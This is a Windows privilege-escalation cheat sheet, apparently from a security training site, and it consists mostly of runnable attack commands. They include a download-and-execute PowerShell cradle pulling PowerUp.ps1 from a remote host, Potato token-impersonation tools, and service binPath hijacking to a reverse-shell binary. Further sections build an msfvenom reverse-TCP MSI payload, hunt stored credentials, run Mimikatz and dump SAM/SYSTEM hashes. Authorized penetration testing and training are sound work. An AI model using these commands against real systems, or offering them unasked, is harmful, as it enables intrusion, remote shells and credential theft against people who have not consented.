Windows Privilege Escalation

Token abuse, service misconfigs, AlwaysInstallElevated & credential hunting

Windows Privilege Escalation Cheat Sheet

From a low-priv Windows shell to SYSTEM/Administrator: enumeration, service misconfigs, token abuse, registry tricks, and credential hunting. For authorized testing only.

0. Automate first

winPEASx64.exe
# PowerShell:
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://IP/PowerUp.ps1');Invoke-AllChecks"

1. Situational awareness

whoami /priv
whoami /groups
systeminfo
hostname & ipconfig /all
net user & net localgroup administrators

2. Token privileges (fast wins)

whoami /priv shows enabled privileges. These = SYSTEM:

• SeImpersonatePrivilege / SeAssignPrimaryToken → Potato attacks:

  PrintSpoofer.exe -i -c cmd
  GodPotato -cmd "cmd /c whoami"
  

• SeBackupPrivilege → read SAM/SYSTEM, dump hashes.
• SeDebugPrivilege → inject into a SYSTEM process.

3. Service misconfigurations

:: unquoted service paths with spaces
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"
:: weak service binary/permissions (PowerUp finds these)

• Unquoted service path → drop your binary at C:\Program.exe.
• Writable service binary → replace it, restart service.
• Weak service perms (SERVICE_CHANGE_CONFIG) → repoint binPath:

  sc config vulnsvc binPath= "C:\temp\rev.exe" & sc stop vulnsvc & sc start vulnsvc
  

4. Registry / AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both = 0x1? Any .msi runs as SYSTEM:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o evil.msi
# on target:
msiexec /quiet /qn /i evil.msi

5. Scheduled tasks & autoruns

schtasks /query /fo LIST /v | findstr /i "taskname run author"

Writable script/binary run by a privileged task = escalation.

6. Credential hunting

:: saved creds
cmdkey /list
:: files
findstr /si password *.txt *.ini *.config *.xml 2>nul
:: unattended installs
type C:\Windows\Panther\Unattend.xml 2>nul
:: registry autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Mimikatz (admin) → sekurlsa::logonpasswords.

7. Dump hashes (with the right priv)

:: needs SYSTEM/admin or SeBackupPrivilege
reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive
:: then offline: secretsdump.py -sam sam.hive -system system.hive LOCAL

8. Kernel exploits (last resort)

systeminfo            # OS build + hotfixes
:: check missing patches → WES-NG / watson

Authorized engagements only. Practice on the AYSEC pro-labs (Active Directory scenarios). See also Linux privilege escalation and password cracking.